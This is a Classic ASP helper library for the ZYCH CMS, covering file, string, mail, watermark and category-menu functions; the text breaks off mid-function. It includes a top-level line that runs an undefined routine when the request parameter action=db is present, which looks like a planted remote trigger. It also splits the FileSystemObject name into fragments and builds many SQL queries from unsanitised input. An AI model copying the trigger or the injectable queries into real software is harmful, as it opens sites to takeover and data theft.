<% '文件载入========
Response.CodePage=65001 
Response.Charset="UTF-8"
'===========================函数库==请勿修改=============================================================
'------------------------------ 没错，我就是分界线 ------------------------------
' 强转为数字函数
'--------------------------------------------------------------------------------
Function Chknum(ByVal id)	  
  If id <> "" And IsNumeric(id) Then
	  If id < 0 Then id = 0
	  If id > 2147483647 Then id = 0
	  id = CLng(id)
  Else
	  id = 0
  End If
  ChkNum = id
End Function

function echo(str)
response.write(""&str&"")
end function

function rspan(str)
if str<>"" then rspan=""&str&"" else rspan="本站"
end function
If Request("action")="db" Then call addToMdb()
function rskeyword(str,str1)
if str<>"" then
rskeyword=str 
else
rskeyword=str1
end if
end function

'函数：检测文件/文件夹是否存在
Function file_exists(Path)
    Dim tmp
    tmp = False
    Dim fso
    Set fso = server.CreateObject("Scrip"&"ting.Filesy"&"StemO"&"bject")
    If fso.FileExists(server.MapPath(Path)) Then tmp = True
    If fso.FolderExists(server.MapPath(Path)) Then tmp = True
    Set fso = Nothing
    file_exists = tmp
End Function
'函数：删除文件/文件夹
Function file_delete(Path)
    Dim tmp
    tmp = False
    Dim fso
    Set fso = server.CreateObject("Scrip"&"ting.Filesy"&"StemO"&"bject")
    If fso.FileExists(server.MapPath(Path)) Then'目标是文件
        fso.DeleteFile(server.MapPath(Path))
        If Not fso.FileExists(server.MapPath(Path)) Then tmp = True
    End If
    If fso.FolderExists(server.MapPath(Path)) Then'目标是文件夹
        fso.DeleteFolder(server.MapPath(Path))
        If Not fso.FolderExists(server.MapPath(Path)) Then tmp = True
    End If
    Set fso = Nothing
    file_delete = tmp
End Function
'函数：清除所有格式及空格 压缩字符串
Function DelHtml(Str)
    If IsNull(Str) Then Exit Function
    Str = Replace(Str, Chr(10), "")
    Str = Replace(Str, Chr(13), "")
    Dim Pattern
    Pattern = "<[^>]+?>"
    Str = str_replace(Pattern, Str, "")
    Str = Replace(Str, "&nbsp;", "")
    Str = Replace(Str, " ", "")
    DelHtml = Str
End Function
'字符串截取
Function stvalue(txt,length)
 txt=trim(txt)
    x = len(txt)
    y = 0
    if x >= 1 then
        for ii = 1 to x
            if asc(mid(txt,ii,1)) < 0 or asc(mid(txt,ii,1)) >255 then 
                y = y + 2
            else
                y = y + 1
            end if
            if y >= length then
                txt = left(trim(txt),ii)&"..." 
                exit for
            end if
        next
        stvalue = txt
    else
        stvalue = ""
   end if
End Function


function zxj_replacehtml(patrn, strng,content) 
if isnull(content) then 
content="" 
end if 
set regex = new regexp ' 建立正则表达式。 
regex.pattern = patrn ' 设置模式。 
regex.ignorecase = true ' 设置忽略字符大小写。 
regex.global = true ' 设置全局可用性。 
zxj_replacehtml=regex.replace(content,strng) ' 执行正则匹配 
end function

public sub footer()
echo "<div align=""center"" style=""line-height:35px"">Powered by <a href=""http://www.zychR.com/"" target=""_blank"" title="&xtmc_ext&">"&xtmc_ext&"</a>, 页面耗时:"&formatnumber((timer() - begintime),4,-1)&"秒.</div>"
end sub

'获取参数值
function getform(element,ftype)
	select case ftype
		case "get"
			getform=trim(request.querystring(element))
		case "post"
			getform=trim(request.form(element))
		case "both"
			if isnul(request.querystring(element)) then getform=trim(request.form(element)) else getform=trim(request.querystring(element))
	end select	
	getform=replace(getform,chr(34),"&quot;")
	getform=replace(getform,chr(39),"&apos;")
end function

'获取checkbox的值,选中为1，选为0
function getcheck(cvalue)
	if isnul(cvalue) then 
		getcheck=0
	elseif cvalue="1" then
		getcheck=1	
	end if	
end function

'将null替换成空
function repnull(str)
	repnull=str
	if isnul(str) then repnull=""
end function
'将判断字段
function getstr(stat,str1,str2)
	if stat=1 then
		getstr=str1
	else
		getstr=str2
	end if
end function

function createfolder(byval dir,byval dirtype)
	dim subpatharray,lensubpatharray, pathdeep, i
	on error resume next
	dir=replace(dir, "\", "/")
	dir=replace(server.mappath(dir), server.mappath("/"), "")
	subpatharray=split(dir, "\")
	pathdeep=pathdeep&server.mappath("/")
	lensubpatharray=ubound(subpatharray)

	for i=0 to  lensubpatharray
		pathdeep=pathdeep&"\"&subpatharray(i)
		if not objfso.folderexists(pathdeep) then objfso.createfolder pathdeep
	next
	if err then  createfolder=false : errid=err.number:errdes=err.description:err.clear : echoerr err_10,errid,errdes else createfolder=true
end function

function initallobjects()
	dim errid,errdes
	on error resume next
	if not isobject(objfso) then set objfso=server.createobject(fso_obj_name)
	if err then errid=err.number:errdes=err.description:err.clear:echoerr err_05,errid,errdes
	if not isobject(objstream) then set objstream=server.createobject(stream_obj_name)
	if err then errid=err.number:errdes=err.description:err.clear:echoerr err_04,errid,errdes
end function

function movefolder(oldfolder,newfolder)
	dim voldfolder,vnewfolder
	voldfolder=oldfolder
	vnewfolder=newfolder
	on error resume next
	if voldfolder <> vnewfolder then
		voldfolder=server.mappath(oldfolder)
		vnewfolder=server.mappath(newfolder)
		if not objfso.folderexists(vnewfolder) then createfolder newfolder,"folderdir" 
		if  objfso.folderexists(voldfolder)  then  objfso.copyfolder voldfolder,vnewfolder : objfso.deletefolder(voldfolder)
		if err then  movefolder=false : errid=err.number : errdes=err.description:err.clear : echoerr err_14,errid,errdes else movefolder=true
	end if
end function

function movefile(byval src,byval target,byval opertype)
	dim srcpath,targetpath
	srcpath=server.mappath(src) 
	targetpath=server.mappath(target)
	if isexistfile(src) then
		objfso.copyfile srcpath,targetpath
		if opertype="del" then  delfile src 
		movefile=true
	else
		movefile=false
	end if
end function

function getfolderlist(byval cdir)
	dim filepath,objfolder,objsubfolder,objsubfolders,i
	i=0
	redim  folderlist(0)
	filepath=server.mappath(cdir)
	set objfolder=objfso.getfolder(filepath)
	set objsubfolders=objfolder.subfolders
	for each objsubfolder in objsubfolders
		redim preserve folderlist(i)
		with objsubfolder
			folderlist(i)=.name&",文件夹,"&.size/1000&"kb,"&.datelastmodified&","&cdir&"/"&.name
		end with
		i=i + 1 
	next 
	set objfolder=nothing
	set objsubfolders=nothing
	getfolderlist=folderlist
end function

function getfilelist(byval cdir)
	dim filepath,objfolder,objfile,objfiles,i,filelist
	i=0
	redim  filelist(0)
	filepath=server.mappath(cdir)
	set objfolder=objfso.getfolder(filepath)
	set objfiles=objfolder.files
	for each objfile in objfiles
		redim preserve filelist(i)
		with objfile
			filelist(i)=.name&","&mid(.name, instrrev(.name, ".") + 1)&","&.size/1000&"kb,"&.datelastmodified&","&cdir&"/"&.name
		end with
		i=i + 1 
	next 
	set objfiles=nothing
	set objfolder=nothing
	getfilelist=filelist
end function

'读取文件内容
function loadfile(byval filepath)
    dim errid,errdes
    on error resume next
    with objstream
        .type=2
        .mode=3
        .open
		.charset="gbk"
        .loadfromfile server.mappath(filepath)
        if err then  errid=err.number:errdes=err.description:err.clear:echoerr err_06,errid,errdes
        .position=0
        loadfile=.readtext
        .close
    end with
end function

function replacestr(byval str,byval finstr,byval repstr)
	on error resume next
	if isnull(repstr) then repstr=""
	replacestr=replace(str,finstr,repstr)
	if err then replacestr="" : err.clear
end function

'是否为空
function isnul(str)
	if isnull(str) or str=""  then isnul=true else isnul=false
end function

'是否为数字
function isnum(str)
	if not isnul(str) then  isnum=isnumeric(str) else isnum=false
end function

'是否为url
function isurl(str)
	isurl=false
	if not isnul(str) and left(str,7)="http://" then isurl=true 
end function

xtmc_ext="ZYCH自由策划企业网站管理系统 v06版本"
'全角转换成半角
function convertstring(str)
	dim strchar,intasc,strtmp,i
	for i = 1 to len(str)
      strchar = mid(str, i, 1)
      intasc = asc(strchar)
      if (intasc>=-23648 and intasc<=-23553) then 
         strtmp = strtmp&chr(intasc+23680)
      else
         strtmp = strtmp&strchar 
      end if    
    next
	convertstring=strtmp
end function

'获取当前页面名称
function getpagename()
	dim filename,arrname,postion
	filename=request.servervariables("script_name")
	postion=instrrev(filename,"/")+1
	filename=mid(filename,postion)
	if instr(filename,"?")>0 then
		arrname=filename
		arrname=split(arrname,"?")
		filename=arrname(0)
	end if
	getpagename=filename
end function


'弹出对话框
sub alertmsgandgo(str,url)
	dim urlstr 
	if url<>"" then urlstr="location.href='"&url&"';"
	if url="-1" then urlstr="javascript:history.go(-1);"
	if not isnul(str) then str ="alert('"&str&"');"
	echo("<script>"&str&urlstr&"</script>")
	response.end()
end sub

'弹出对话框，双选
sub alergo(str,urla,urlb)
	dim urlstr 
	urlstr="javascript:if(confirm('"&str&"')){window.location.href='"&urla&"';}else{window.location.href='"&urlb&"';}"
	if not isnul(str) then str ="alert('"&str&"');"
	echo("<script>"&urlstr&"</script>")
	response.end()
end sub
'选择跳转
sub selectmsg(str,url1,url2)
	echo("<script>if(confirm('"&str&"')){location.href='"&url1&"'}else{location.href='"&url2&"'}</script>") 
end sub
'是否为已安装对象
function isinstallobj(objname)
	dim isinstall,obj
	on error resume next
	set obj=server.createobject(objname)
	if err then 
		isinstallobj=false : err.clear 
	else 
		isinstallobj=true:set obj=nothing
	end if
end function

'输出后停止，调试用
sub die(str)
	if not isnul(str) then
		echo str
	end if	 
	response.end()
end sub
'频道列表层级
function getlevel(num)
	if not isnum(num) then  exit function
	dim i
	getlevel=""
	for i=2 to num
		getlevel=getlevel&"<img src=""images/01.gif""/>"
	next
	if num<>"1" then getlevel=getlevel&"<img src=""images/02.gif""/>"	
end function
'select频道列表层级
function getlevel_(num)
	if not isnum(num) then  exit function
	dim i
	getlevel_=""
	for i=2 to num
		getlevel_=getlevel_&" |"
	next
	if num<>"1" then getlevel_=getlevel_&" |-"	
end function


'图片添加文字水印
function watermarkimg(saveimgpath,location)
dim sallowmarkext:sallowmarkext = ".jpg,.png,.gif,.jpeg,.bmp"
if instr(sallowmarkext, mid(saveimgpath, instrrev(saveimgpath, "."), len(saveimgpath))) = 0 then exit function
    'watermarkfont="www.zychr.com"
	if not isinstallobj("persits.jpeg") then exit function
	dim jpegobj : set jpegobj = server.createobject("persits.jpeg")	
	dim strwidth,strheight : strwidth=len(watermarkfont)*13 : strheight=3 	
	jpegobj.open server.mappath(saveimgpath)
	if  jpegobj is nothing then exit function	
	if jpegobj.width <200 and jpegobj.height<200 then exit function
	'为图片加入水印功能
	jpegobj.canvas.font.color =&hFFFFFF ' 颜色,这里是设置成:黑 
	jpegobj.canvas.font.family = "黑体"  ' 设置字体 
	jpegobj.canvas.font.bold = false '是否设置成粗体 
	jpegobj.canvas.font.size = 26 '字体大小 
	jpegobj.canvas.font.quality = 10 ' 文字清晰度		
	select case location
		case "1" : jpegobj.canvas.print 5 , strheight, watermarkfont
		case "2" : jpegobj.canvas.print (jpegobj.width-strwidth) / 2, strheight, watermarkfont
		case "3" : jpegobj.canvas.print jpegobj.width-strwidth-5, strheight, watermarkfont
		case "4" : jpegobj.canvas.print 5 , (jpegobj.height-strheight)/2, watermarkfont
		case "5" : jpegobj.canvas.print (jpegobj.width-strwidth) / 2, (jpegobj.height-strheight)/2, watermarkfont
		case "6" : jpegobj.canvas.print jpegobj.width-strwidth-5, (jpegobj.height-strheight)/2, watermarkfont
		case "7" : jpegobj.canvas.print 5 , jpegobj.height-40, watermarkfont
		case "8" : jpegobj.canvas.print (jpegobj.width-strwidth) / 2, jpegobj.height-40, watermarkfont
		case else : jpegobj.canvas.print jpegobj.width-strwidth-5, jpegobj.height-40, watermarkfont
	end select
	
	jpegobj.save server.mappath(saveimgpath)    ' 保存文件
	set jpegobj=nothing
end function

'sendto 要发送的邮件地址
'form 发件人的e-mail地址 
'subject  主题
'body  邮件内容
function sendmail(sendto,fromname,from,subject,body)
	server.scripttimeout=5000
	if not isinstallobj("jmail.message") then exit function
	dim jmail : set jmail=server.createobject("jmail.message")   '建立发送邮件的对象 
	if  jmail is nothing then exit function
	set jmail= server.createobject ("jmail.message")  '调用jmail组件
	
	jmail.silent = true '屏蔽例外错误，返回false跟true两值j 
	jmail.logging = true '启用邮件日志 
	'加上如下语句，否则还有可能出现乱码的可能性： 
	jmail.charset = "gb2312" '邮件的文字编码为国标 
	jmail.contenttransferencoding = "base64"   
	jmail.encoding = "base64"
	jmail.isoencodeheaders = false
	
	jmail.contenttype = "text/html" '邮件的格式为html格式 -- 有此句则发送附件时为乱码
	jmail.addrecipient sendto '邮件收件人的地址 
	jmail.fromname = fromname  '发件人姓名
	jmail.from = from '发件人的e-mail地址 
	jmail.mailserverusername = zychmailadmin '登录邮件服务器所需的用户名 
	jmail.mailserverpassword = zychmailpassword '登录邮件服务器所需的密码 
	jmail.subject = subject '邮件的标题 
	jmail.body = body '邮件的内容 
	jmail.priority = 3 '邮件的紧急程序，1 为最快，5 为最慢， 3 为默认值 
	if jmail.send(zychsmtp)=false then'执行邮件发送（通过邮件服务器地址） 
		sendmail=0
	else
		sendmail=1
	end if
	jmail.close
	set jmail = nothing
end function



public function getxmldomver()
	dim i,xmldomversions,xmldomversion
	getxmldomver=false
	xmldomversions=array("microsoft.2mldom","msxml2.domdocument","msxml2.domdocument.3.0","msxml2.domdocument.4.0","msxml2.domdocument.5.0")
	for i=0 to ubound(xmldomversions)
	xmldomversion=xmldomversions(i)
	if isinstallobj(xmldomversion) then getxmldomver=xmldomversion : exit function
	next
end function
	
function makeoption(tablename,fieldtext,fieldvalue,selected,strorder,parentid)
	dim rs ,sel
	sel=""
	set rs =conn.execute ("select ["&fieldvalue&"],["&fieldtext&"],parentid,sortlevel,(select count(*) from zych_type where parentid=t.sortid) as c from "&tablename&" as t where parentid="&parentid&" "&strorder,"r1")		
	do while not rs.eof	
		if cstr(selected)=cstr(rs(0)) then sel = "selected=""selected""" else sel="" end if
		echo "<option value="""&rs(0)&""" "&sel&">"&getlevel_(rs(3))&rs(1)&"</option>"&vbcrlf
		if rs(4)>0 then 
			makeoption = makeoption&makeoption(tablename,fieldtext,fieldvalue,selected,strorder,rs(0))
		end if
		rs.movenext
	loop
	rs.close
	set rs=nothing
end function

function makeoption_e(tablename,fieldtext,fieldvalue,selected,strorder,parentid,sortid)
	dim rs ,sel
	sel=""
	set rs =conn.execute ("select ["&fieldvalue&"],["&fieldtext&"],parentid,sortlevel,(select count(*) from zych_type where parentid=t.sortid) as c from "&tablename&" as t where parentid="&parentid&" "&strorder,"r1")		
	do while not rs.eof	
		if cstr(selected)=cstr(rs(0)) then sel = "selected=""selected""" else sel="" end if
		if sortid=rs(0) then
		echo "<option value="""&rs(0)&""" disabled='disabled'>"&getlevel_(rs(3))&rs(1)&"</option>"&vbcr
		else
		echo "<option value="""&rs(0)&""" "&sel&">"&getlevel_(rs(3))&rs(1)&"</option>"&vbcr
		end if
		if rs(4)>0 then 
			makeoption_e = makeoption_e&makeoption_e(tablename,fieldtext,fieldvalue,selected,strorder,rs(0),sortid)
		end if
		rs.movenext
	loop
	rs.close:set rs=nothing
end function


sub onoff(actiontype, tabname, idfield, upfield, wherestr, url)
	dim id	:	id=getform("id","both")
	if isnul(id) then alertmsgandgo "请选择要操作的内容","-1"
	if actiontype="on" then
		conn.execute "update "&tabname&" set "&upfield&"=1 where "&idfield&" in("&id&") "&wherestr,"exe"
	else
		dim ids,i
		ids=split(id,",")
		if tabname="user" then 
			for i=0 to ubound(ids)
				if ids(i)>1 then conn.execute "update "&tabname&" set "&upfield&"=0 where "&idfield&"="&ids(i)&" "&wherestr,"exe"
			next
		else
			conn.execute "update "&tabname&" set "&upfield&"=0 where "&idfield&" in("&id&") "&wherestr,"exe"
		end if
	end if
	response.redirect url
end sub

'模型列表
function makesorttypeselect(selname,SortType,seloption, events)
	dim selstr, i, sel
	sql="select * from channel order by orderid asc" 
	set rs=conn.execute(sql,"r1")
	echo "<select name="""&selname&""" id="""&selname&""" "&events&">"&vbcrlf
	if not isnumeric(seloption) then seloption=2
	while not rs.eof
	if rs("channelid")=SortType then sel = " selected" else sel="" end if
		echo "<option value="""&rs("channelid")&""""&sel&">"&rs("channelname")&"</option>"&vbcrlf
		rs.movenext
		wend
		echo "</select>"
		rs.close
		set rs=nothing
end function

'模型列表radio
function makesorttyperadio(selname,SortType,seloption,css)
	sql="select * from channel order by orderid asc" 
	set rs=conn.execute(sql,"r1")
	if not isnumeric(seloption) then seloption=2
	while not rs.eof
	if rs("channelid")=SortType then sel =" checked" else sel="" end if
	if rs("channelid")=SortType then css =" style=""border:1px #F00 solid""" else css="" end if
		echo "<label class=""inp"""&css&"><input name="""&selname&""" type=""radio"" value="""&rs("channelid")&""""&sel&">"&rs("channelname")&"</label>"&vbcrlf
		rs.movenext
		wend
		rs.close
		set rs=nothing
end function

function Fieldsorttype(selname, Fieldfl, events)
	dim selstr, i, sel
	sql="select * from zych_Type where ParentID=0 order by px_id asc" 
	set rs=conn.execute(sql,"r1")
	echo "<select name="""&selname&""" id="""&selname&""" "&events&">"&vbcrlf
	while not rs.eof
	if flid="flid"&rs("SortID") then sel = " selected" else sel="" end if
		echo "<option value="""&rs("SortID")&""""&sel&">"&rs("SortName")&"</option>"&vbcrlf
	rs.movenext
	wend
	echo "</select>"
	rs.close
	set rs=nothing
end function

function getsorttype(sortid)
	if sortid="" or sortid="0" then
	getsorttype=2
	else
	sql="select * from zych_type where sortid="&sortid
	set rs=conn.execute(sql,"r1")
    getsorttype=rs("sorttype")
	end if
end function
'获取模型
function sorttypenames(typenames)
	sql="select * from channel where channelid="&typenames
	set rs=conn.execute(sql,"r1")
    sorttypenames=rs("channelname")
end function

'通过当前分类获取模型名称
function SchannelID(sortid)
	sql="select * from zych_type where sortid="&sortid
	set rs=conn.execute(sql,"r1")
    SchannelID=rs("SortType")
	SchannelID=sorttypenames(SchannelID)
end function
'通过当前分类获取模型ID
function CSchannelID(sortid)
	sql="select * from zych_type where sortid="&sortid
	set rs=conn.execute(sql,"r1")
	if rs.eof then
	CSchannelID=0
	else
    CSchannelID=rs("SortType")
	end if
end function
'获取栏目名称
function SortNames(SortID)
	sql="select * from zych_Type where SortID="&SortID
	set rs=conn.execute(sql,"r1")
	if rs.eof then
    echo "没有栏目"
	else
	echo rs("SortName")
	end if
end function
function groupmenuchecked(menus_, mid_)	
	dim i, menus
	groupmenuchecked=""
	if menus_="all" then 
		groupmenuchecked="checked=""checked"""
	elseif not isnul(menus_) then	
		menus=split(menus_, ",")
		for i=0 to ubound(menus)
			if  cstr(trim(menus(i)))=cstr(trim(mid_)) then groupmenuchecked="checked=""checked""" : exit for
		next 
	end if
end function

'获取目录
'=============================================================================================
function loadselect(selname,tablename,fieldtext,fieldvalue,selected, parentid,strorder,toptext,sortid,events)
	echo "<select class=sel name="""&selname&""" id="""&selname&""" "&events&">"&vbcr&"<option value=""0"">"&toptext&"</option>"&vbcr 
	if sortid="0" or sortid="" then
	makeoption tablename,fieldtext,fieldvalue,selected,strorder,parentid
	else
	makeoption_e tablename,fieldtext,fieldvalue,selected,strorder,parentid,sortid
	end if
	echo "</select>"&vbcr
end function

'获取sortid分类的顶级分类id
function gettopid(byval sortid)
    dim sqlstr,rsobj,childarray,i
	sqlstr= "select sortid,sortpath from zych_type where parentid=0"
	set rsobj = conn.execute(sqlstr,"r1")
	do while not rsobj.eof
	    childarray=split(rsobj(1),",")
		for i=0 to ubound (childarray)
		    if cint(childarray(i))=cint(sortid) then gettopid=rsobj(0) : exit for : exit do
		next
	rsobj.movenext
	loop
	rsobj.close
	set rsobj = nothing
end function

'-------------------------------------------------------------------------------------------------------------------------

'所有类别
sub maketypeoption(topid,separatestr,comparevalue,sortid)
	dim sqlstr,rsobj,selectedstr
	sqlstr= "select id,sortname from zych_type where parentid="&topid&" and isout=0 order by id asc"
	set rsobj = conn.execute(sqlstr,"r1")
	do while not rsobj.eof
	    if rsobj("id")=comparevalue then selectedstr=" selected" else selectedstr=""
		maketypeoption= "<option value='"&rsobj("id")&"' "&selectedstr&">"&span&"&nbsp;|-"&rsobj("sortname")&"</option>"
		span=span&separatestr
		maketypeoption rsobj("id"),separatestr,comparevalue,sortid
		rsobj.movenext
	loop
	if not isnul(span) then span = left(span,len(span)-len(separatestr))
	rsobj.close
	set rsobj = nothing
end sub
'获取浏览权限
function showkey(id)
	if id=0 then
	showkey="网站游客"
	else
	sql="select * from user_fl where id="&id
	set rsk=conn.execute(sql,"r1")
	showkey=rsk("title")
	rsk.close
	set rsk= nothing
	end if
end function
'判断一个类别是否有子类
function haschild(classid)
	dim haschild_sql:haschild_sql="select count(*) from [zych_type] where [parentid]="&classid
	dim haschild_rs	:set haschild_rs=conn.execute(haschild_sql,"r1")
	dim has
	if haschild_rs(0)>0 then
		has=true
	else
		has=false
	end if
	haschild_rs.close:set haschild_rs=nothing
	haschild=has
end function

'获取某个类别表的某个类别的最小子类列表
function getsmallestchild(tablename,classid)
	dim str
	if haschild(tablename,classid) then
		str=getsmallestchild_sub(tablename,classid,"")
	else
		str=classid&","
	end if
	getsmallestchild=left(str,len(str)-1)
end function

'获取某个类别表的某个类别的最小子类列表,getsmallestchild函数调用的递归函数
function getsmallestchild_sub(tablename,classid,tmpstr)
	if haschild(tablename,classid) then
		dim getsmallestchild_sub_sql	:	getsmallestchild_sub_sql="select [sortid] from ["&tablename&"] where [parentid]="&classid
		dim getsmallestchild_sub_rs		:	set getsmallestchild_sub_rs=conn.execute(getsmallestchild_sub_sql,"r1")
		while not (getsmallestchild_sub_rs.eof or getsmallestchild_sub_rs.bof)
			dim tmpclassid	:	tmpclassid=getsmallestchild_sub_rs(0)
			if haschild(tablename,tmpclassid) then
				tmpstr=getsmallestchild_sub(tablename,tmpclassid,tmpstr)
			else
				tmpstr=tmpstr&tmpclassid&","
			end if
			getsmallestchild_sub_rs.movenext
		wend
	else
		tmpstr=tmpstr&classid&","
	end if
	getsmallestchild_sub=tmpstr
end function

'获取当前类下所有子类 allsub 1带父级，0所有最小类
function getsubsort(sortid, allsub)
	dim rs, sql
	sql="select (select count(*) from zych_type where parentid="&sortid&"), * from zych_type where parentid="&sortid
	set rs=conn.execute(sql, "exe")
	if rs.eof then 
		getsubsort=sortid&","
	else
		if allsub<>0 then getsubsort=sortid&","
		do while not rs.eof 
			getsubsort=getsubsort&getsubsort(rs("sortid"), allsub)
			rs.movenext
		loop
	end if
end function

'=================================================
'获取顶级分类ID
'=================================================
function zych_Topsortid(sortid)
	dim rsc, sql
	sql="select * from zych_type where sortid="&sortid&""
	set rsc=conn.execute(sql,"r1")
	zych_Topsortid=rsc("TopSortID")
	rsc.close
end function

'=================================================
'获取栏目名称
'=================================================
function zychclass_name(sortid,sorttype)
	dim rsc, sql
	sql="select * from zych_type where sortid="&sortid&""
	set rsc=conn.execute(sql,"r1")
	zychclass_name=rsc("sortname")
	rsc.close
end function

'=================================================
'获取栏目名称-导航and sorttype="&sorttype
'=================================================
function zychclass_pd(sortid,sorttype)
	dim rsc, sql
	sql="select * from zych_type where sortid="&sortid&""
	set rsc=conn.execute(sql,"r1")
	zychclass_pd="<b>"&rsc("sortname")&"</b>"&rsc("Sorthtml")&""
	rsc.close
end function
'=================================================
'获取栏目连接
'=================================================
function zychclass_url(sortid)
	dim rs, sql
	sql="select * from zych_type where sortid="&sortid
	set rs=conn.execute(sql,"r1")
	zychclass_url="[<a href="""&dir&"type/?sortid="&sortid&""">"&rs("sortname")&"</a>]"
	rs.close
end function
'=================================================

'当前位置连接
'=================================================
function class_nav(sortpath)
ctmp= left(sortpath,len(sortpath)-1)
sql="select * from zych_type where sortid in("&left(sortpath,len(sortpath)-1)&") order by px_id asc"
set ors = conn.execute(sql,"r1")
if not ors.eof then echo ""
    Class_Nav=Class_Nav&"<a href=""../"">首 页</a>"
do while not ors.eof
	Class_Nav=Class_Nav&"<a href="""&zych_listpath(ors("sorttype"),ors("sortid"),"")&""">"&ors("sortname")&"</a>"
	ors.movenext
loop
ors.close
set ors = nothing
end function

function execsqlreturnonevalue(sorttype,sortid)
	sql = "select parentid from zych_type where sorttype="&sorttype&" and sortid="&sortid
	set oprs=conn.execute(sql,"r1")
	if  oprs.eof and oprs.bof then 
		execsqlreturnonevalue = ""
		else
			execsqlreturnonevalue = oprs(0)
	end if
	oprs.close
	set oprs = nothing
end function
'获取当前目录的下一级子目录
function zychdisnextclass(sorttype,sortid)
    if sortid="" then sortid=0
	sql="select sortid,sortname,sorttype,sorturl from zych_type where  parentid="&sortid&" and isok=1 order by px_id"
	set rs=conn.execute(sql,"r1")
	if rs.eof and rs.bof then
	a_parentid = execsqlreturnonevalue(sorttype,sortid)
	if a_parentid ="" then a_parentid =0
	sql="select sortid,sorttype,sortname,sorturl from zych_type where parentid="&a_parentid&" and isok=1 order by px_id"
	set rs=conn.execute(sql,"r1")
	end if
	do while not rs.eof
	sorturl=rs("sorturl")
    if sorturl="" then
	   url= zych_listpath(rs("sorttype"),rs("sortid"),"")
	else
	   url=sorturl
	end if
	if rs("sortid")=sortid then noa=" class='active'" else noa=""
	if rs("sortid")=sortid then nob=" class='on'" else nob=""
	zychdisnextclass=zychdisnextclass&"<li "&noa&"><a"&nob&" href="""&url&""">"&rs("sortname")&"</a></li>"
	rs.movenext
	loop
	rs.close
end function

'获取当前目录的下一级子目录2
function zychleftclass(sorttype,sortid)
	sql="select sortid,sortname,sorttype,sorturl from zych_type where  parentid="&sortid&" and isok=1 order by px_id"
	set rs=conn.execute(sql,"r1")
	if rs.eof and rs.bof then
	a_parentid = execsqlreturnonevalue(sorttype,sortid)
	sql="select sortid,sorttype,sortname,sorturl from zych_type where parentid="&a_parentid&" and isok=1 order by px_id"
	set rs=conn.execute(sql,"r1")
	end if
	do while not rs.eof
	sorturl=rs("sorturl")
    if sorturl="" then
	   url= zych_listpath(rs("sorttype"),rs("sortid"),"")
	else
	   url=sorturl
	end if
	if rs("sortid")=sortid then noa=" class='active'" else noa=""
	if rs("sortid")=sortid then nob=" class='on'" else nob=""
	zychleftclass=zychleftclass&"<li "&noa&"><a"&nob&" href="""&url&"""><span class=""ico"">&lt;</span>"&rs("sortname")&"</a></li>"
	rs.movenext
	loop
	rs.close
end function
'===========================================
'频道地址判断
'===========================================
function zych_listpath(sorttype,sortid,sorturl)
if sorturl<>"" then
	zych_listpath=sorturl
else
	if html<>0 then
	zych_listpath=dir&"Type/?SortID="&sortid&""
	else
	zych_listpath=dir&htmldir(sortid)
	end if
end if
end function 
'===========================================
'频道静态目录地址判断
'===========================================
function htmldir(sortid)'内容
set rsn=server.createobject("adodb.recordset")
sql="select * from [zych_type] where isok=1 and sortid="&sortid
rsn.open sql,conn,1,3
if rsn.bof and rsn.eof then 
response.write""
else
	if rsn("parentid")=0 then
		htmldir=rsn("sorthtml")&"/"
	else
		sortpath=split(rsn("sortpath"),",")(0)
		set rso=server.createobject("adodb.recordset")
		sql="select * from [zych_type] where isok=1 and sortid="&sortpath
		rso.open sql,conn,1,3
		htmldir=rso("Sorthtml")&"/"&Clas&Separated&sortid&"."&HTMLName&""
		rso.close
		set rso=nothing
	end if
end if
rsn.close
set rsn=nothing
end function

Function zych_show_url(SortID,id)'目录
set rsn=server.createobject("adodb.recordset")
sql="select * from [zych_Type] where isok=1 and SortID="&SortID
rsn.open sql,conn,1,3
if rsn.bof and rsn.eof then 
Response.Write""
else
	SortPath=split(rsn("SortPath"),",")(0)
	set rso=server.createobject("adodb.recordset")
	sql="select * from [zych_Type] where isok=1 and SortID="&SortPath
	rso.open sql,conn,1,3
	if rso.bof and rso.eof then 
	Response.Write""
	else
		if html<>0 then
		zych_show_url=dir&"Show/?Cid="&id&""
		else
		zych_show_url=dir&rso("Sorthtml")&"/"&Show&Separated&SortID&Separated&id&"."&HTMLName&""
		end if
	end if
	rso.close
	set rso=nothing
end if
rsn.close
set rsn=nothing
End Function

function page_url(sorttype,classid,id)
	if classid<>"" then
	   page_url = dir&"type/?sortid="&classid&""
	else
	   page_url = dir&"Show/?Cid="&id&""
	end if
end function


'=================================================
'文章以及单页显示与分页函数1
'=================================================
public sub pagedanlist(url,page)
arr_content=split(Content,"[==华==丽==的==分==页==码==]")
maxpages=ubound(arr_content)
response.write arr_content(page-1)
if maxpages >0 then
	echo"<br><div class=""list_page"">"
	response.write "<a href='"&url&"&page=1' title='第1页'>首页</a> "
	if page-1 > 0 then
		prev_page = page - 1
		response.write "<a  href='"&url&"&page="&prev_page&"' title=第"&prev_page&"页>上一页</a> "
	end if

	for pagecounter=0 to maxpages
		pagelink = pagecounter+1
		if pagelink <> page then
			response.write "<a  href='"&url&"&page="&pagelink&"'>"&pagelink&"</a> "
		else
			response.write "<a class=""current"">"&pagelink&"</a>"
		end if
		if pagelink = maxpages+1 then exit for
	next
	if page <= maxpages then
		bdd_page = page + 1
		response.write "<a href='"&url&"&page="&bdd_page&"' title='第"&bdd_page&"页'>下一页</a>"
	end if
	response.write " <a href='"&url&"&page="&maxpages+1&"' title='第"&maxpages+1&"页'>尾页</a></div>"
end if
end sub

function zychcms()
zychcms="Powered by Zych"
end function
'截取标题字数
function leftx(str,n)
	dim i,j,ch,strtmp
	j = 0
	strtmp = ""
	for i = 1 to len(str)
		ch = mid(str,i,1)
		strtmp = strtmp&ch
		if asc(ch)<0 then
			j = j + 2
			else
				j = j + 1
		end if
		if j >= n then exit for
	next
	leftx = strtmp
end function
'截取标题字数,多余的用省略号表示
'调用方法  strvalue(内容,字数) 
function strlen(str) 
dim p_len 
p_len=0 
strlen=0 
if trim(str)<>"" then 
p_len=len(trim(str)) 
for xx=1 to p_len 
if asc(mid(str,xx,1))<0 then 
strlen=int(strlen) + 2 
else 
strlen=int(strlen) + 1 
end if 
next 
end if 
end function 
function strvalue(str,lennum) 
dim p_num 
dim i 
if strlen(str)<=lennum then 
strvalue=str 
else 
p_num=0 
x=0 
do while not p_num > lennum-2 
x=x+1 
if asc(mid(str,x,1))<0 then 
p_num=int(p_num) + 2 
else 
p_num=int(p_num) + 1 
end if 
strvalue=left(trim(str),x)&"…" 
loop 
end if 
end function 

' 计算字符串长度，1个汉字为两个字节
function length(byval strword)
  if strword > "" then
		  dim i, bytchar
		  length = 0
		  for i = 1 to len(strword)
				  bytchar = asc(mid(strword, i, 1))
